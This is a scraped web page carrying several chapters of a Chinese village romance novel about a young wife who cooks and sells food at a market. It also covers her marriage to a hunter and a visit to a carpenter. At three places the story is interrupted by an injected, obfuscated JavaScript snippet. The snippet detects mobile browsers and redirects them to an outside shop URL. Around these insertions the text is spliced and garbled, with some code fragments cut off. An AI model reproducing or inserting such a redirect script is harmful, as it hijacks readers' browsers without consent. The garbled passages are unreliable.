原来是一批韭菜、油菜和芥菜长熟了,最近下了几场春雨,有了雨水的滋润,地上就变得绿油油的。 丁宝珠挽起袖子蹲下身一茬茬割着菜,村里最不缺的就是菜了,而处于禁猎期的徐家,大概也是靠着这几分地上的菜来过活。 徐晔去给徐翊倒水喝,讲了一声后就过来找丁宝珠,看着地上已经被割出的菜整整齐齐地放在地上,心里动容,听姨母说来了月事的女人身上会不方便,虽然他不清楚究竟是怎么不方便,但这肯定不是啥好事——之前他不就见到她那副病容了吗?便也蹲下身道: “我帮你,这样快一些。” 丁宝珠抬起手背擦了擦额头上的细汗,问道: “徐晔,这些菜你们除了拿回家吃,还做什么啊?” 徐晔接过镰刀熟稔地收菜,回答道: “先是拿回家吃的,要是长得多吃不完就拿去摆摊卖了,咋说也能卖个几文钱。” “哦,那和我想的也差不多。”丁宝珠点点头考虑着,“那这一批算多还是算少啊?” 毕竟她哪一世都没有种过地,虽然能好好收菜,可这关于种田的事情,她还是要仔细问询的。 徐晔斜了一眼就明白她心里念着什么,摇摇头道: “你别想那么多,该做就去做好了,总归日子没过,这些菜还能继续长。” “……行,那我就多做好吃的来犒劳你们啦。”丁宝珠也不纠结了,她觉得拐着弯和徐晔说话,有时也没什么用,人家早就看出来了。 收了几样菜,最后全部装进了那挎篮中,丁宝珠这才心满意足地回家。 只是她走了,留徐晔还在地里,那些时不时观望过来的损友也慢慢靠了过来,有人挠了挠头道: “奇了怪了,我怎么见那珠姐儿好像变得和以前不一样了?” 有人摇摇脑袋道:“这你就不懂了吧,再任性刁蛮的女人,嫁了人后还不都是会被夫家驯得服服帖帖的?肯定是咱们晔哥儿厉害,连丁家的珠姐儿都能降服!” “得了吧,你都没娶媳妇呢,说话倒是一套又一套的,谁信你?” “但这么看着,我也想让我娘给我张罗娶个媳妇了……” 徐晔听他们七嘴八舌乱说,不禁皱皱眉,顺势抬起脚不悦道: “行了,有你们啥事?还不赶紧去干活,在这吵吵啥?” 作为猎户,徐晔的力气不小,这一脚下去可不是开玩笑的,不过他们大抵是认定他不会真的踢过来,虽是走了,却还是转身比了个鬼脸,笑道: “我们懂的,徐晔,你这是想早点回去吃媳妇做的饭了吧?” “然后吃完饭再……” 徐晔当即抓起一把土块砸了过去,他的准头可是特意练过的,这一砸还真的砸到了某人的嘴里,堵住了口,还呸呸直往外吐。 徐晔拍拍手得意,但回过神来,却觉得脸上热热的,也不知是气血上涌了还是怎的,为此他还怔了怔。 这群小猢狲崽子,大多数都是比他年纪小的,只是有的已娶妻懂了人事,有的也还没娶妻,几人聚在一块,没过多久就开始胡诌了。 徐晔感到心里纷乱,也许只有干活才能让他冷静下来,便接着去了。 而丁宝珠带回来的三种蔬菜,她早就已经决定好了它们的归宿:油菜就做成酒酿饼的馅料,芥菜她准备腌起来,韭菜则是可以放在家里做午食晚食吃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612598|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说干就干,油菜切成碎,香菇干泡发后也切成碎,炒在一起便是经典的油菜香菇馅,这味道要是做好了,甚至不输于肉馅。 而剩下的笋干还能再做一种馅料,丁宝珠又在灶房里转了转,结果找到了一个罐子,打开一瞧,原来是半罐子腌雪菜。 这一定是自己还没来时徐家自己腌上的,毕竟那雪菜是能够一年多种的作物,而在冬天,家家户户都要腌菜过冬。 但丁宝珠想的是,这雪菜与笋丁可是非常般配的! 于是她又做了雪菜笋丁馅来配酒酿饼,只是那雪菜这次肯定要被自己用完,她就决定用另一种新腌菜来代替。 正好收了许多芥菜,丁宝珠便想着自制梅干菜。她把那些菜择了去掉不好的叶片,清洗之后再找地方挂起来晾,只把那原本叶里的水分也给晾干了,那叶子也显得干巴巴起来。 接着再去灶房烫菜,烫完后放进容器里压实,这也只是完成了最开始的一步而已。 要做梅干菜,就要不断地去将那叶子蒸了再晒干,直至那叶子变得又细又干,完完全全转为了黄黑色才好,做好的梅干菜还要用容器保存好,待到吃的时候拿水泡开,就能做各种不同的美食了。 忙活了几个时辰,丁宝珠从窗外见到那逐渐落下的夕阳,是她该做晚食的时候了。 从田地里还割了韭菜,提及这个菜,就不得不请出它的最佳搭档鸡子了。丁宝珠眼下倒是还没有把鸡子正式融入到自己摊上的吃食里,但是她现在也有余钱买来吃了,家里不吃肉时,那就吃鸡子。 而在这一点上,徐家更是没有异议,毕竟谁又不想吃鸡子呢?况且家里也没有养鸡。 而丁宝珠也经常去姚丹那里买鸡子,后者自然是十分欢迎,碰巧最近鸡子的价格又下跌了,姚丹说啥也不让前者再多花钱,丁宝珠只好按她的意思买下。 所以这次晚食,丁宝珠先蒸了饭,然后预备做韭菜炒鸡子,以及还有些她自己采来的剩下的榆钱,就用它来炒了肉片,一时间灶房和院里香气四溢。 “大嫂!” 门口传来了徐芝的声音。 “你做的好香啊,啥时候能吃?” 这样子不由得让她想起了丁宝琴,便笑道: “等饭蒸好了就行,然后再等等你大哥和你爹回来,就能吃了。” “太好了,我和你说大嫂,你今天早上留下的饼子,我们吃着感觉特别好吃,而且……”徐芝顿了顿才接着道,“可别说是我说的,就连娘都说好吃,大嫂,这饼子明天还有没有呀?” 丁宝珠挑挑眉,没想到李银屏也会私下里讲这些,怪不得最近嫌她总是出去的话语稍微少了点,而徐芝也没必要诓她。 不过这也算不得什么,该不喜欢还是不喜欢自己,她便笑道: “有的,你明天等着吧——对了,莹儿身体怎么样了?” “大嫂,你不知道,刚吃完午食后,姐姐身后就流血了,可吓人了。”徐芝边说边打了个冷颤,“后来我们就去找娘了,可娘说这是个常事,然后又煮了鸡子来,闻起来香香甜甜的,我都想吃了……” 丁宝珠擦擦手笑道: “就是酒酿鸡子,也没啥金贵的,家里都有,什么时候想吃了,让你娘做了就是……” “你们在那嘀咕啥呢?”李银屏在远处喊道,“芝儿,你爹和你哥快回来了,来和娘把餐桌放了。” 徐芝撇撇嘴,好像这几天的活儿就都要让她做了,只好应声离开了灶房。 58. 午夜捉弄 不得不说,那新鲜拔出来的蔬菜吃着就是水灵,两盘菜被一家人一扫而光后,丁宝珠去灶房洗碗,顺便分面剂子,再把炒好的馅料给包进去。 终于是把一天的事都给做好了,丁宝珠疲困地回了屋,或许是先前她都提着精神,这一放松下来,冷不丁又坠痛起来了。 可她突然想起来自己换下来的月布还没有洗,那可不是一次性的,而且布匹在这里也算是一笔财富了,还是柳萍心细,家里又有条件,才给她在出嫁前多做了些。 但就是她如今能挣钱了,赚的那些钱也不过能吃点好的,扯布匹买棉花还是差点。 丁宝珠只好拖着沉重的身子去洗布头,然而和村里人一样日落而息此刻已经躺在床上的徐晔,忽然看到进来又出去的人,心里疑惑,不自主下床穿鞋跟了出去。 丁宝珠拆了发髻,那黑油油的长发就披在单肩上,她快速地打了盆水,就坐在旁边开始搓洗着。 徐晔转头看了眼横着放的那一排晾着的半湿不干的衣物,疑问道: “今儿不是已经洗过衣物了吗?你还洗什么?” 外面仅有月光,万籁俱寂的周围一切都是模模糊糊的。丁宝珠甩了甩水,正想回答,却听李银屏的声音出现了: “大晚上的,你俩在这做啥呢?” 回头一瞧,没想到李银屏竟然也拿着木盆,看起来也要洗东西。 徐晔问道:“姨母,你们现在咋都在晚上洗衣裳?” 李银屏看着徐晔奇怪的目光,不自然地清了清嗓,推着徐晔边走便说道: “你就别管了,这是女人的事,你们男人少掺和进来,别到时候脏了!” 丁宝珠在旁边听着有点不快,只是李银屏能这时候来,估计是为了徐莹。她不出声,只是飞快地洗完了月布拧干,正想去晾,却被也洗起来的李银屏阻止道: “嗳,你等一下,这个不能晾在这!” 丁宝珠心里烦躁,问道:“那晾在哪里?” “当然是找个隐蔽的地方,这哪能和其他衣裳一块晾?”李银屏啧啧叹道,“亲家母难道没教过你这些?对了,这东西也不能被丈夫见着……” 丁宝珠立刻冷笑一声道:“好端端的扯我娘做什么?再说了,这东西就有那么脏?都是娘生妈养的,亲娘就没有这个了?咱们男的女的都是从那里出来的,还分什么脏不脏的呢!” “你!——”李银屏顿了顿,才斜眼哼声道,“我不和你一般见识,但你最好也别真惹了我,别让我把其他事也给家里说了,到时候看你咋办!” 自从她嫁过来后,到底是谁先惹着谁?丁宝珠生了气,也没去想李银屏口中那些事究竟是什么事情,拿着东西就回了房。 徐晔好像在等她回来,不过村里人是没有什么夜生活的,基本吃过晚饭过一会儿就要睡觉了,而有媳妇的……好吧,这还是徐晔从别的做了夫君的人嘴里听说的。 洞房夜他完全睡过去了,之后也压根没想到那事儿,而丁宝珠虽然睡在她旁边,却也是常常很快就睡熟了,偶尔听见些许呼吸声才能进一步地确认,如今他身旁的确多了个人。 总而言之在睡眠方面上两人还算是和谐,比平常还要和谐,所以徐晔也从来没有想过那事。 但那些娶了媳妇儿的哥们以为他也做过,所以时不时就会蹦出两句荤话来——徐晔后脑枕着两只手,心思缠结地望着那斑驳的天花板发着呆,却蓦地有人推门进来,他回过神偏头,正是气势汹汹的丁宝珠。 他坐起身来问:“咋了?” 丁宝珠阴恻恻地瞅了他眼,忽然像是想到了什么,抽了根麻绳出来挂在窗户上方,然后把一件东西展开来晾,接着脱鞋上床盖被一气呵成,更是一声不吭。 徐晔看过去,发现那是块布,莫非刚刚她就是在洗这个?他又瞧着背过身的丁宝珠,踌躇须臾后问道: “你……你不算账吗?” 丁宝珠忙完一日后来到屋里,总会趴在桌旁写写画画一阵后才会上床睡下,那所谓的账本甚至还放在她自己的箱笼里,大概是没有比那里更安全的地方了。徐晔也不管那些,毕竟生意是她的,他目前为止除了帮过忙外也没怎么参与过。 “明天再说吧。”丁宝珠闷闷地说道,“肚子疼,不想动。” 徐晔今天也听那些哥们儿说了关于月事的事情,他们都说来了月事的女人各个都像是母老虎一样,要么就是阴晴不定猜不透,动不动就摆脸色看,可他倒是觉得丁宝珠好像更多了点委委屈屈的模样,就说刚才冲进来,可不是受了气的姿态吗? 而且……怎么又肚子疼了? 徐晔想了想,又问道: “很疼吗?要不……再喝点红糖水?” 丁宝珠这才慢慢翻过身,她伸手把那长发虚笼笼地绾了绾,眉眼共同挑着看了徐晔一下,倏忽轻声笑道: “不如你给我揉揉,我应该就不疼了。” 徐晔的呼吸窒了一瞬,登时有些恼羞成怒地说道: “你、你说的这是啥话,咋好意思直接说出口的?” “为什么不能说,我们现在是夫妻不是吗,正儿八经请过席成过亲的,先前还抽空去村长那证明过呢。” 村里识字的人不多,也不兴婚书那一套,所以成了亲的新夫妻要去一趟村长家,由村长记录下来,再加上村里本就是吃了席就算成婚了。 这一调戏眼前的纯情夫婿,丁宝珠就来了劲头,主要还是能转移感觉。她见徐晔脸上愈发现出的红晕,继续笑道: “所以啊,你揉揉我就好了,不然你明天去问问姨母,看看她和爹是不是也……唔!” 话还没说完,徐晔就一把捂住她的嘴,大声道: “不准再说了!你也不害臊!” “唔唔!” 丁宝珠断断续续出着声,到了最后突然就翻了白眼,徐晔吓了一跳,还以为是自己不小心把力气使大了,毕竟作为猎户,有时候遇到了大型猎物,就连贴身搏斗也是有的,赶忙松开手着急地问道: “咋了咋了?堵着气了?” 丁宝珠噗嗤一声笑了出来: “哈哈,徐晔,你脸上的表情太好玩了!” 徐晔冷下脸来,这回是他赌气了,抓着被角就背过身躺下,不理她了。 丁宝珠知道不能逗得太过,也就在身旁说道: “好啦,徐晔,因为有你,我现在已经不疼了。明天还要早起,那我先睡了,晚安咯。” 徐晔没有动作和声响,只是移着眼神,又等了许久,就听见那熟悉的呼吸声,看来丁宝珠是真的睡了。 他撇撇嘴,小心翼翼地翻过身,可是丁宝珠却成了背对着他,她似乎还有些冷,将全身都给裹住了,几乎只把那厚厚的黑发给露出来。 徐晔蹑手蹑脚地用指尖捏了捏其中一绺子柔软的发丝,可反应过来却又松开了,红着脸也闭眼去睡。 待到翌日清早,丁宝珠慢慢醒来,打了个哈欠就穿衣下床要去梳头洗漱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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油锅里滋滋啦啦地响着,室内早已浮上了一层油气和香味,从远方蓦然传来一声悠长的鸡叫,像是立时划破了这个寻常的春日里的一个清晨。丁宝珠把做好的酒酿饼放进了竹筐,又盛了几个热气腾腾的装盘,用围裙擦了擦手,便去了灶房的角落,把一个坛子的盖子给打了开来。 一股浓郁的酒香,夹杂着一丝浅显的桃仁气味,丁宝珠拿着勺子舀了舀,那密密麻麻的晶润的白米在液体中不断翻腾着,又是有酒液溢出了。 只是她还记得那位要买醪糟的大娘,所以这次她准备带一些过去,先不论那大娘究竟会不会来买,说不定吆喝之后还会有其他人来买。 这段时间卖酒,她发现过来买下的是男子多一点,即使有女性过来买,也大多数梳着妇髻,保不齐是为了家里而买的,所以这回她带点醪糟过去,可能也有销路。 但看还有这么一大坛子的醪糟,丁宝珠又瞧了瞧空出来的一口锅,便提前舀了两人份的出来,煮了两碗红糖醪糟鸡子。 听着房外已有了响动,大抵是家里人都起身了,就连黑虎也在院里低低吠了几声。 她再打开另一个锅盖,袅袅热气散去后,一个个小巧可爱白茸茸的酒盏糕出现了,丁宝珠也盛了几个出来。 这时徐晔进门,看见她依然在灶头前忙碌着,便问道: “咋样了?” “嗯,都准备的差不多了。”丁宝珠点点头,又说,“你既然来了,那就把早食端出去吧。” “你也别忙了,一起出来吃。”徐晔有意无意地提醒着。 丁宝珠听后笑道:“知道了,我还能苦了我自己?你先去吧,我马上就来。” ……倒是这个理。徐晔想着,也就端着盘子先行离开了。 59. 桃花醪糟 早食吃的是那酒酿饼,其实就在丁宝珠开始做的时候,就已经给家里留下来过吃了,不过那次她留下的是不带馅儿的素饼子和糖馅的,也不知这素馅的味道如何。 餐桌摆好,放上吃食就能吃了,徐家也没那么多规矩。丁宝珠则是又带了那两碗红糖醪糟鸡子过来,坐在徐莹的边上轻轻推了过去,小声道: “莹儿,这个你吃了,能够舒服点。” 徐莹脸上泛起些微红晕,昨天她都快被吓死了,好在最后李银屏给她做了解释,而吃了那碗醪糟后也确实觉得舒服了不少,不过若是没有丁宝珠酿酒出来,她恐怕也吃不到,便道: “谢谢大嫂,这个很好吃。” 李银屏觑着个眼,却只是坐下没有说话,徐芝早馋那碗又有鸡子又有红糖的醪糟了,可惜前者说她现在没必要吃,只好哀怨地拿了个酒酿饼咬了一口。 吃进嘴里,竟发现不是糖馅的,仔细一看,原来是色泽碧绿的油菜和香菇,不禁问道: “大嫂,你的饼子换了口味了?” 丁宝珠点点头道:“是,树耳用完了,就剩香菇干和笋干了,所以我就做了这个,你们尝尝味道怎么样?” 徐芝笑道:“大嫂不用追问,自然是好吃的了!” 徐晔也拿了个酒酿饼,咬了一口,却不是那油菜香菇馅儿的,而是另一种更咸一点的馅料,切得十分细碎,可也能很快品尝出来,是雪菜末和笋丁搭配在一起。 徐翊吃着也是这馅的,便笑道: “这素馅的饼子吃着倒是清爽,你们都尝尝。” 而徐莹吃着醪糟,倒是被那精致的酒盏糕给吸引住了,一口下去不仅绵软香甜,更是有那清甜酒味,两三口已是下了肚。 李银屏也吃着饼子,心里却泛起了嘀咕。这丁宝珠嫁进来之前她是一百个不满意,更是听其他婶子说过,这珠姐儿除了和她爹学过屠宰,其他家务事也是被宠得一概不做,估摸着身上还有花钱的毛病,不管怎么看都不是个安稳能够做儿媳妇的。 何况徐晔就算是她的继子,那也是她的儿子,她怎么能眼睁睁瞧着这种儿媳妇过门?无奈最后家里还是要听徐翊的,所以李银屏看丁宝珠是咋看咋不爽。 可没想到的是,丁宝珠的厨艺竟然比她想象得要好上不少,甚至比一些婶子还好。不仅不花钱,还从外头挣钱回来,家里的条件也在逐渐改善,这也是每个人眼里都见到的。 她想不通丁宝珠怎么无缘无故就和变了个人似的,情愿认为她是才新嫁过来所以做做样子而已。 但吃食还是要吃的,毕竟儿媳妇给婆婆做吃食,那也是理所应当。 就连那黑虎也摇着尾巴过来了,这段日子徐晔总是上山,也就一直带着它,少不得多给它食物吃。不过村里的狗子就是跟着主人吃的,徐家的条件好了,它也跟着有的吃。 丁宝珠摸了摸柔软温驯的狗头,夹起一个饼子就往它那丢去,黑虎一跃就整个叼住,又慢慢回到自己的窝里埋头啃吃着。 她把那碗红糖醪糟全部吃掉,就准备挑着担子去村外了。徐晔顿了顿,才问: “要不要我帮你?” 犹记得上次还是徐翊说了徐晔才听话,却没想到今天竟主动提出了,丁宝珠笑道: “不用了,顺利的话我午时就回来了,你这几日不是总去捕蛇吗?这个比我更要早去早回些。” 徐晔被噎住一样顿时不说话了,脸上还有些讪讪,只有吃人嘴短的黑虎继续摇着尾巴咧着嘴夹在两人中间,一时没察觉到这略微尴尬的气氛,还有点相送的模样。 丁宝珠看着时间不早了,忙挑着担子离了家。徐晔无奈,只好拍着黑虎,自己再去拿工具上山去了。 一口气到了村外,果然已有不少摊贩在了,恰巧丁宝珠那回的位置没有被谁占去,她放下担子就开始叫卖起来。 这次除了那素饼和糖馅酒酿饼,就是容重推出了两款素馅饼,以及也没忘了那些醪糟。一听有了新馅,路过的行人,尤其是买过一回酒酿饼的人不约而同地就凑了过来,询问过后也就买了新的尝尝。 油菜香菇切得碎碎的,在咬开后,甚至还有一抹淡淡的香油气味,新鲜水灵的油菜做成馅料也不失清甜,再搭配上嫩嫩的香菇末,那鲜味简直不输于肉馅。 而雪菜笋子馅儿要更加咸一点,咀嚼起来就注重于那脆生生的口感了,另外依然是有人买更便宜的素饼子和甜甜的糖馅酒酿饼。 在这群人中,丁宝珠也见到几个稍许眼熟的客人,就顺势寒暄了几句,没想到之后她见到了一位最熟悉的人——正是那位蔑匠大叔。 也不知蔑匠大叔是不是固定在一个位置上摆摊,但丁宝珠却不是的,所以他们已经有段时日没有见过面了,可作为第一个光顾她生意的人,丁宝珠早已把他当作了熟客,惊喜笑道: “大叔,您来了?正好我这也出了新品,要不要瞧瞧?” 那蔑匠大叔虽是笑了笑,可不知为何那笑容中包含着几分疲累,往那筐里看了看,便问道: “娘子,你今天也不卖凉糕么?” 看来这蔑匠大叔还真是凉糕的忠实顾客,不过丁宝珠也不会直接错过这个能推销的机会,笑道: “大叔,虽然今天没有凉糕,可是有酒盏糕,甜甜软软的好入口消化特别是小孩子,最合适吃了!” 这话好像说到了蔑匠大叔的心里去了,思索片刻,数了钱递过来说道: “行,那就给我装个几块吧。” 说完,他又叹了口气,语气无可奈何道: “娘子你是不知道,我家孩子生了一场病,好不容易好了,还需要温补着,但那补药他死活就是不肯吃,还是因为喜欢你家的凉糕,买来才愿意吃呢。” 丁宝珠正在用油纸装着酒盏糕,听到这话,忙安慰道: “没事的,我做得了那凉糕,这酒盏糕做得也一定能让他爱吃,况且这时候吃,更是补气养血,最适合身子虚弱的时候了,比那凉糕还好呢,你孩子也一定能好全的。” 她讲着,又在那油纸包里多放了两块,用丝线扎起来交过去。可那样近的距离,蔑匠大叔自然看到了,也深知丁宝珠这么做的意味,忙摆手道: “这咋行,都是做生意的,我可不能让你亏了!” 篾匠做的都是竹制品,在村里也算是门不能缺少的手艺,何况做出那些竹制品来,就是放许久也放不坏的,慢慢卖就是,可吃食就不同了,他也知道做吃食生意的通常都十分辛苦,至少比他辛苦得多。 丁宝珠笑道:“没事的大叔,不过是两块糕,您到时候多光顾光顾我这摊子就行了,快回去吧!” 篾匠大叔面上感动,只好收下那油纸包,又说道: “娘子,咱也不知道你那村里有没有篾匠,但以后若是有用得着我的地方,尽管开口,反正我是一直在这摆摊卖东西的。” 丁宝珠笑道: “好啊,那就多谢你了。” 至少现在他们都是在同一条道儿上摆摊的贩子,处好关系总比双方红眼要好。 要说篾匠做的竹制品也是非常坚固的,只是丁宝珠设想的那种容器,仍旧还是用木头来做会更好,只能等下一次再去照顾大叔的生意了。 送走篾匠大叔,丁宝珠继续卖着东西,而大概又过了一炷香的功夫,那要买醪糟的大娘臂上挎着一个挎篮走过来了,而那挎篮里果然还放着一个粗陶盖碗。 丁宝珠刚成交一笔生意,偏头就见到她,挥挥手喊道: “大娘,您来啦?” “诶!我刚还想着娘子你会不会去别的地方摆摊去了,但也是先来这里看看,没想到娘子你还真的在老地方!”那大娘抿唇笑着,“我在那远远看着一个摊子旁边人那么多,就想着是不是娘子的摊子,没想到等过来了还真是呢!” 寒暄一阵,丁宝珠打开了坛盖子,指着道: “大娘,我今天把家里的醪糟给带来了,你瞧瞧怎么样?” 那大娘弯腰看了看坛子里面,只觉得鼻尖涌上了一股浓厚酒味,可酒味里竟然还多了一丝其他的气味,闻着竟然像是花香,不由得好奇问道: “娘子,你这酒味咋和其他人卖的不一样?里面加了啥了?” 丁宝珠笑道: “大娘你不清楚,在这之前我卖的是桃花酿和杏花酿,不是纯米酒,都是拿干净花瓣做的,这剩下的醪糟当然也有花香了。而且我特意带来的是桃花醪糟,对你儿媳妇的身体也好,谁不知道这点呢?” “哎呦,你这倒是有花头的!” 大娘惊叹一声,又听着丁宝珠解释到最后,也没想到她昨天随口一说,她竟然牢牢地记在了心中,便动容道: “你还别说,昨儿我回去之后,恰巧有邻居买了你这里的糕点,说是味道不错呢,所以今天我不但买醪糟,还想着再买一些糕点带回去尝尝。” “好啊,大娘,我今儿也新做了酒盏糕,这糕比酒酿糕更软乎,小辈们肯定爱吃。” 大娘在摊子上又都瞧了几眼,这才问道: “娘子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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显然又是买咸馅饼子的人多,而且这次还多了新口味,一部分人想两个馅料都尝尝,干脆就两个起买,还分别都是两种口味的。 无论是油咪咪鲜甜的油菜香菇馅,还是皮薄馅大吃得满足的咸鲜的雪菜笋子馅,都一律得到了已经做了一上午活计的人的好评,有的胃口大嘴也大的,甚至在摊子不远处就把饼给吃完了,还有的貌似已在丁宝珠摊子这买过不少吃食,自然要比初次来的或是只来了几次的熟络点,便主动开口问道: “娘子,你现在也开始做午食了?” 丁宝珠笑着回答:“也就是这几日吧,我这酒酿饼既适合早食,也有适合午食的,所以就想着多留会儿,你们尝着怎么样?” “那当然是好吃了,不然我也不会再来,还拉着我同伴一块儿来买呢!” 那是个小伙子,和素日里能见到的那种下地去劳作的没什么区别,身边也都是年龄相仿的男子,何况村里的男丁还是半大小子的时候,就要和家里的长辈一起去下地干农活了。 那小伙子的脸上还颇有些骄傲的神气,其他人倒是没他这样,因为都在低头吃饼,完全没有第二张嘴能空出来讲话。 丁宝珠莞尔道: “那还要多谢你们来光顾我的生意了,我看你们也是常客,有什么想提的,就尽管提,我听着!” 那小伙子看着丁宝珠,不禁感到耳垂变热了些,可只想着是被太阳晒的,而且他还刚从地里出来,便没有多想,只是说道: “娘子要是真做吃食了,我们倒是想吃一些更扎实的……不过这还是要看娘子你。” 虽然这位腼腆的小伙子说得委婉,丁宝珠却是听出来了——这是想吃肉了呗,简单来说,就是想摄入蛋白质了! 酒酿饼虽说好吃,但都是蔬菜馅的,对于他们这种劳动力,再鲜美近似的味道,吃下去总觉得少了点什么,所以眼前这群小伙子也是两个饼子起买,最起码沾点荤油也是好的。 这让丁宝珠想到了她起初和丁宏第一次去祥安镇的时候,那天中午,后者吃了一碗热腾腾的大肉面,反而就是没有蔬菜,吃下去却绝对填满肚子,继而变得精力十足。 丁宝珠想到这,点点头笑着回道: “晓得了,那我回去考虑考虑。这酒酿饼是个时令吃食,总共就卖那么几天,今天你们先吃饱了吧!” 几个大小伙子一听,纷纷又掏出钱再补买,毕竟这饼子不贵,就算现在不吃,留着还能放到明日吃。 就这样,丁宝珠卖完了所有的酒酿饼,至于那坛醪糟,她又以桃花醪糟的名称给叫卖出去,果真就有不少女性来买了,毕竟这醪糟还可以煮圆子、芋头,熬粥或者做馒头饼子,要再扩展点,就连做菜也使得。 最重要的是——这醪糟的单价,是要比纯酒便宜的! 但不管怎么说,丁宝珠见醪糟卖得差不多了,那日头也是高高挂起,便准备收摊回家,挑起重量轻了不少的担子就往村子而去。 60. 升级设备(上) 安静的小院里独有那唰唰刨着木花碎屑的声响,大片的日光把四周蔚蓝的天际也给染上一片光亮。 院中坐的一个男子正埋头处理着木材,刚松口气抬手擦了擦额头上渗出的细汗,忽然见家里的墙外爬上了一个小男孩,而那男孩只露出了一个头,就往他这大叫起来: “林大哥不好了,那丁家的大姐儿又过来了!她又过来了!” 那男子脸色骤然大变,立刻扔了手里的刨子铲子就往屋里跑去,虽是大跨步几步就到了室内,可不知又想到了什么,大口喘了几口气,不住喊道: “爹!不好了!那丁宝珠又来了!这可咋整啊!?” 林老爹坐在桌边正细细啜着酒水,听到这话也仅是皱了皱眉,便不悦道: “吵吵个啥?又不是母夜叉来要你命了,至于这么大惊小怪的吗!” 男子哭丧着脸,好像整个人都要塌了,抖着嗓子害怕道: “爹,你又不是不知道,那人对我来说可不就是母夜叉吗?爹你就给我想想办法吧!” 林老爹看着自己儿子这幅怂样,又因喝了酒,冷不丁怒从心起,抬腿就踢了前者一脚,骂道: “看你这个怂蛋样儿,也是我林材的儿子?你是不是忘了,那丁家的大姐早就嫁了人了,还嫁到了徐猎户的家里,管她是母老虎还是河东狮,不都会被驯得服服帖帖的?怕个啥!” 林材和儿子林森是象山村里唯二的木匠,这村里人无论是置家还是下地都少不了家具农具,更是有别的村里人过来找他们做工具的,所以林家的条件要比普通人家好上不少。 这条件好了,辛苦大半辈子的林材就想着享受了,再说他还有个儿子,这一门手艺自然是要尽数传给他的。只是他这个儿子打小就是个怂货,长大后又被那丁宝珠不知怎么搞得吓破了胆,为此林材往昔没少去丁家嘈嚷过。 这事闹得村里人尽皆知,林材仗着自家有理,没少把自己放在高位上,也只有林森这个软蛋,见到丁宝珠不是绕道走就是哭爹喊娘没个正形的。 林森长得比一般村里男子周正,虽是跟着林材做木匠,不知为何偏有一种文人气质,为此倒也有很多媒婆上门来想做这单生意的,除开丁宝珠,也有一些未出阁的女子心仪。但偏生他从小就是唯唯诺诺的性子,木匠的手艺又还没学成,所以林材箍着他不让他那么早娶亲,也是有点提升价值的心思在里面。 要知道家里虽是要出彩礼,可妻家那也是要出嫁妆的,那嫁妆说是私人财产,慢慢不也就能贴给夫家了?所以林材的眼光一点也不低,要不是他不大看得起丁家二房是做屠户的,说不定还真同意了这门亲事。 不过林森是不清楚这些的,又一心想着学习木匠手艺,也就没怎么关注自己的亲事——但那丁宝珠是个例外,他是真的怕了这位女霸王,次次都如见了猫的老鼠一般,就算丁宝珠已经嫁为人妻,他也会忍不住抖上三抖。 他眼下就颤了颤肩,继续哭丧着问道: “既然都已嫁人了,那她还过来干啥?隔壁娃娃说她是一个人来的!她每次也是一个人来堵我的,爹你都忘了吗?” “蠢货,其他人家单独过来是干啥的?你是不是忘了咱们家是干啥的?老子又不是死了,不还待在这吗?就你这毛脚鸡的样子,以后咋上得了台盘?你干脆别做木匠了,卖豆腐去得了,啥人配啥货!” 而就在这时,屋外尤其是大门外响起了声音,有人喊道: “林木匠在吗?——” 林森听后立马哭道: “爹,要不你代我去吧,不就是喝酒么,下次我出村给你买一斗就是了!” 林材啐了一口骂道:“啥叫你给我买?你现在不还在花我的钱?——行了行了,看你那可怜样,你呆在这别出声,我去瞧瞧!” 林森这才放松下来,到底来说是父子,林材还指望着技艺传承下去,并且给自己养老呢,哪能真的不管不顾。 林材撇了酒碗,背着手离开屋子,抬眼就见到那丁家大姐儿站在篱笆墙外。头上已经梳了妇人髻了,只是细细看着,脸上竟没了往昔那种凶悍的神气,着实令他纳罕了下。 原先丁宝珠看中了林森,再加上本身又是大大咧咧的,和她那屠户爹养成了风风火火的性子,要不是村里从来没有过,她大概就要成为第一个反过来给男方提亲的女子了。见事与愿违,从此就走上了纠缠的道路,起初还是在道路上装作相遇,后来更是多次来到家门口,给林森带来不小的心理阴影。 可是后来,就听闻有人去丁家提亲了,而且竟然还是那整日深居简出的徐猎户家,他那儿子同样也是个娶不到媳妇的主,倒是能和嫁不出去的丁宝珠凑一对。 再之后的就都是不知真假的风言风语了,可到底说来丁宝珠仍是嫁去了徐家,虽不知在那过得怎么样,但林森却是安心了不少。 然而安心了也没多长日子,没想到她今天竟又过来了! 林材虽喝了酒,可并没有真醉,除非丁宝珠是真的不想要那张大脸了,否则已经成为人妻的她应当是不会做先前的事情了——所以他也没有激动起来,只是那心里的疑惑却仍存在着。 丁宝珠是在家里吃了午食再出来的,她又晚回去的缘故,所以午食依旧是李银屏做的,简单吃过后,她就靠着脑中尚未消散的记忆,拿了东西就出门了。 那林家住得倒是与丁家不远,她在泥巴路上走了约莫半柱香的功夫就到了,还在门外喊了一声,村里人可没有门铃这玩意儿,想叫人那全靠一副嗓子。 没过多久,一个两颊稍红的大叔就出门而来,可就瞧了她一眼,那目光立刻变得奇怪了些。丁宝珠不明白,只好主动问道: “林大叔,我过来想请你做件容器的,不知您方不方便?” 如果说之前还是狐疑,现在就更是多了几分惊讶。 那丁家大姐啥时候变得这么有礼貌了?! 